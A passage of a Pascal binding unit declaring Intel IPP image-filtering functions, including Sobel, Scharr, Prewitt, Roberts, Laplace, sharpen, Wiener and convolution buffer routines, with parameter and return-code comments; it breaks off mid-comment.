function ippiFilterRobertsDownBorder_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterRobertsUpBorder_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSobelVertSecondBorder_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSobelHorizSecondBorder_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSobelNegVertBorder_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSobelVertBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSobelHorizBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterScharrVertMaskBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterScharrHorizMaskBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterPrewittVertBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterPrewittHorizBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterRobertsDownBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterRobertsUpBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSobelVertSecondBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSobelHorizSecondBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSobelNegVertBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSobelVertBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp16s ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSobelHorizBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp16s ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterScharrVertMaskBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp16s ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterScharrHorizMaskBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp16s ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterPrewittVertBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp16s ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterPrewittHorizBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp16s ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterRobertsDownBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp16s ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterRobertsUpBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp16s ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterLaplaceBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterLaplaceBorder_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pborderValue : Ipp8u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterLaplaceBorder_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pborderValue : Ipp8u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterLaplaceBorder_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pborderValue : Ipp8u_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterLaplaceBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp16s ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterLaplaceBorder_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16s_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterLaplaceBorder_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16s_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterLaplaceBorder_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16s_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterLaplaceBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterLaplaceBorder_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pBorderValue : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterLaplaceBorder_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pBorderValue : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterLaplaceBorder_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pBorderValue : Ipp32f_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterHipassBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterHipassBorder_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pborderValue : Ipp8u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterHipassBorder_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pborderValue : Ipp8u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterHipassBorder_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pborderValue : Ipp8u_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterHipassBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp16s ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterHipassBorder_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16s_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterHipassBorder_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16s_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterHipassBorder_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16s_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterHipassBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterHipassBorder_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pBorderValue : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterHipassBorder_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pBorderValue : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterHipassBorder_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pBorderValue : Ipp32f_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSharpenBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSharpenBorder_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pborderValue : Ipp8u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSharpenBorder_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pborderValue : Ipp8u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSharpenBorder_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pborderValue : Ipp8u_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSharpenBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp16s ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSharpenBorder_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16s_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSharpenBorder_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16s_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSharpenBorder_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pBorderValue : Ipp16s_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSharpenBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSharpenBorder_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pBorderValue : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSharpenBorder_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pBorderValue : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSharpenBorder_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; mask : IppiMaskSize ; borderType : IppiBorderType ; const pBorderValue : Ipp32f_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFilterSobelGetBufferSize
Purpose: Computes the size of the external buffer for sobel operator
Parameters:
roiSize Size of destination ROI in pixels.
mask Predefined mask of IppiMaskSize type.
normTypre Normalization mode if IppNormTYpe type.
srcDataType Data type of the source image.
dstDataType Data type of the destination image.
numChannels Number of channels in the images. Possible values is 1.
pBufferSize Pointer to the size (in bytes) of the external work buffer.
Return Values:
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error when pBufferSize is NULL.
ippStsSizeErr Indicates an error when roiSize is negative, or equal to zero.
ippStsMaskSizeErr Indicates an error condition if mask has a wrong value.
ippStsBadArgErr Indicates an error condition if normType has an illegal value.
ippStsDataTypeErr Indicates an error when srcDataType or dstDataType has an illegal value.
ippStsNumChannelsErr Indicates an error when numChannels has an illegal value.
}
function ippiFilterSobelGetBufferSize( dstRoiSize : IppiSize ; mask : IppiMaskSize ; normType : IppNormType ; srcDataType : IppDataType ; dstDataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFilterSobel_8u16s_C1R
ippiFilterSobel_16s32f_C1R
ippiFilterSobel_16u32f_C1R
ippiFilterSobel_32f_C1R
Purpose: Perform Sobel operation of an image using pair of
predefined convolution kernels.
Parameters:
pSrc Pointer to the source image ROI.
srcStep Distance in bytes between starting points of consecutive lines in the sorce image.
pDst Pointer to the destination image ROI.
dstStep Distance in bytes between starting points of consecutive lines in the destination image.
dstRoiSize Size of destination ROI in pixels.
mask Predefined mask of IppiMaskSize type.
normType Normalization mode of IppNoremType type
borderType Type of border.
borderValue Constant value to assign to pixels of the constant border. This parameter is applicable
only to the ippBorderConst border type.
pBuffer Pointer to the work buffer.
Return Values:
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error condition if pSrc, pDst or pBufferSize is NULL.
ippStsSizeErr Indicates an error condition if dstRoiSize has a fild with zero or negative value.
ippStsMaskSizeErr Indicates an error condition if mask has an illegal value.
ippStsBadArgErr Indicates an error condition if normType has an illegal value.
ippStsNotEvenStepErr Indicated an error when one of the step values is not divisible by 4
for floating-point images, or by 2 for short-integer images.
ippStsBorderErr Indicates an error when borderType has illegal value.
}
function ippiFilterSobel_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSobel_16s32f_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; borderValue : Ipp16s ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSobel_16u32f_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; borderValue : Ipp16u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterSobel_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Wiener Filters
{ ----------------------------------------------------------------------------
Names:
ippiFilterWienerGetBufferSize,
Purpose: Computes the size of the external buffer for Wiener filter
ippiFilterWiener_8u_C1R, ippiFilterWiener_16s_C1R,
ippiFilterWiener_8u_C3R, ippiFilterWiener_16s_C3R,
ippiFilterWiener_8u_C4R, ippiFilterWiener_16s_C4R,
ippiFilterWiener_8u_AC4R, ippiFilterWiener_16s_AC4R,
ippiFilterWiener_32f_C1R,
ippiFilterWiener_32f_C3R,
ippiFilterWiener_32f_C4R,
ippiFilterWiener_32f_AC4R.
Purpose: Performs two-dimensional adaptive noise-removal
filtering of an image using Wiener filter.
Parameters:
pSrc Pointer to the source image ROI;
srcStep Step in bytes through the source image buffer;
pDst Pointer to the destination image ROI;
dstStep Step in bytes through the destination image buffer;
dstRoiSize Size of the destination ROI in pixels;
maskSize Size of the rectangular local pixel neighborhood (mask);
anchor Anchor cell specifying the mask alignment
with respect to the position of the input pixel;
noise Noise level value or array of the noise level values for
multi-channel image;
pBuffer Pointer to the external work buffer;
pBufferSize Pointer to the computed value of the external buffer size;
channels Number of channels in the image ( 1, 3, or 4 ).
Returns:
ippStsNoErr OK
ippStsNumChannelsErr channels is not 1, 3, or 4
ippStsNullPtrErr One of the pointers is NULL;
ippStsSizeErr dstRoiSize has a field with zero or negative value
ippStsMaskSizeErr maskSize has a field with zero or negative value
ippStsNoiseRangeErr One of the noise values is less than 0
or greater than 1.0;
}
function ippiFilterWienerGetBufferSize( dstRoiSize : IppiSize ; maskSize : IppiSize ; channels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterWiener_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; anchor : IppiPoint ; var noise : Ipp32f_1 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterWiener_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; anchor : IppiPoint ; var noise : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterWiener_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; anchor : IppiPoint ; var noise : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterWiener_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; anchor : IppiPoint ; var noise : Ipp32f_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterWiener_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; anchor : IppiPoint ; var noise : Ipp32f_1 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterWiener_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; anchor : IppiPoint ; var noise : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterWiener_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; anchor : IppiPoint ; var noise : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterWiener_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; anchor : IppiPoint ; var noise : Ipp32f_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterWiener_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; anchor : IppiPoint ; var noise : Ipp32f_1 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterWiener_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; anchor : IppiPoint ; var noise : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterWiener_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; anchor : IppiPoint ; var noise : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterWiener_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiSize ; anchor : IppiPoint ; var noise : Ipp32f_4 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiConvGetBufferSize
Purpose: Get the size (in bytes) of the buffer for ippiConv internal calculations.
Parameters:
src1Size - Size, in pixels, of the first source image.
src2Size - Size, in pixels, of the second source image.
dataType - Data type for convolution. Possible values are ipp32f, ipp16s, or ipp8u.
numChannels - Number of image channels. Possible values are 1, 3, or 4.
algType - Bit-field mask for the algorithm type definition.
Possible values are the results of composition of the IppAlgType and IppiROIShape values.
Example: (ippiROIFull|ippAlgFFT) - full-shaped convolution will be calculated using 2D FFT.
pBufferSize - Pointer to the calculated buffer size (in bytes).
Return:
ippStsNoErr - OK.
ippStsSizeErr - Error when the src1Size or src2Size is negative, or equal to zero.
ippStsNumChannelsErr - Error when the numChannels value differs from 1, 3, or 4.
ippStsDataTypeErr - Error when the dataType value differs from the ipp32f, ipp16s, or ipp8u.
ippStsAlgTypeErr - Error when :
The result of the bitwise AND operation between algType and ippAlgMask differs from the ippAlgAuto, ippAlgDirect, or ippAlgFFT values.
The result of the bitwise AND operation between algType and ippiROIMask differs from the ippiROIFull or ippiROIValid values.
ippStsNullPtrErr - Error when the pBufferSize is NULL.
}
function ippiConvGetBufferSize( src1Size : IppiSize ; src2Size : IppiSize ; dataType : IppDataType ; numChannels : Int32 ; algType : IppEnum ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiConv_32f_C1R, ippiConv_32f_C3R, ippiConv_32f_C4R
ippiConv_16s_C1R, ippiConv_16s_C3R, ippiConv_16s_C4R
